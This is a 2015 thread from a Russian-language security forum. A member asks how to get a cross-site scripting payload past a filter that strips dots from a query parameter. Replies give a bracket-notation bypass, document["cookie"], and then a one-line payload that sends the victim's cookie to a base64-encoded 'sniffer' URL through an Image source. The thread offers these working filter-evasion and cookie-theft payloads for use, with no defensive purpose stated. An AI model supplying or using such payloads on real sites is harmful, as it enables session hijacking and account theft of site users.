HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Перезагрузить страницу Фильтрация точки в запросе
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.11.2015, 18:00
Ditss
Новичок
Регистрация: 05.11.2015
Сообщений: 9
Провел на форуме:
1696

Репутация: 0
По умолчанию
Здравствуйте все! Можно как-то обойти фильтрацию точки в запросе?

Есть запрос

Код:
/index.php?p=">alert(document.cookie)
Но точка в document.cookie фильтруется... ( Пробовал вставлять ASCII коды точки, но фильтр и на них...

Заранее спасибо!
 
Ответить с цитированием

  #2  
Старый 05.11.2015, 18:25
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
document["cookie"]
 
Ответить с цитированием

  #3  
Старый 06.11.2015, 08:57
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию
Цитата:
Сообщение от altai  
↑
Попробуй вот так
Можете привести пример уязвимого кода, где сработает такая атака?
 
Ответить с цитированием

  #4  
Старый 06.11.2015, 09:51
Altai
Новичок
Регистрация: 04.02.2010
Сообщений: 0
Провел на форуме:
1574

Репутация: 0
По умолчанию
Цитата:
Сообщение от M_script  
↑
Можете привести пример уязвимого кода, где сработает такая атака?
я не внимательно прочитал вопрос Согласен, фигню сказал
 
Ответить с цитированием

  #5  
Старый 06.11.2015, 12:50
Ditss
Новичок
Регистрация: 05.11.2015
Сообщений: 9
Провел на форуме:
1696

Репутация: 0
По умолчанию
Цитата:
Сообщение от yarbabin  
↑
document["cookie"]
Спасибо, так работает! А если нужно сделать так:

Код:
">
как подменять точки в строке адреса?
 
Ответить с цитированием

  #6  
Старый 06.11.2015, 13:12
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
Цитата:
Сообщение от Ditss  
↑
Спасибо, так работает! А если нужно сделать так:
Код:
">
как подменять точки в строке адреса?
(new Image())["src"]=atob("lol")+document["cookie"]

где lol - ссылка на сниффер в base64
 
Ответить с цитированием

  #7  
Старый 06.11.2015, 14:49
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию
Цитата:
Сообщение от Ditss  
↑
Код:
">
Этот код не будет работать даже без фильтрации точек.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.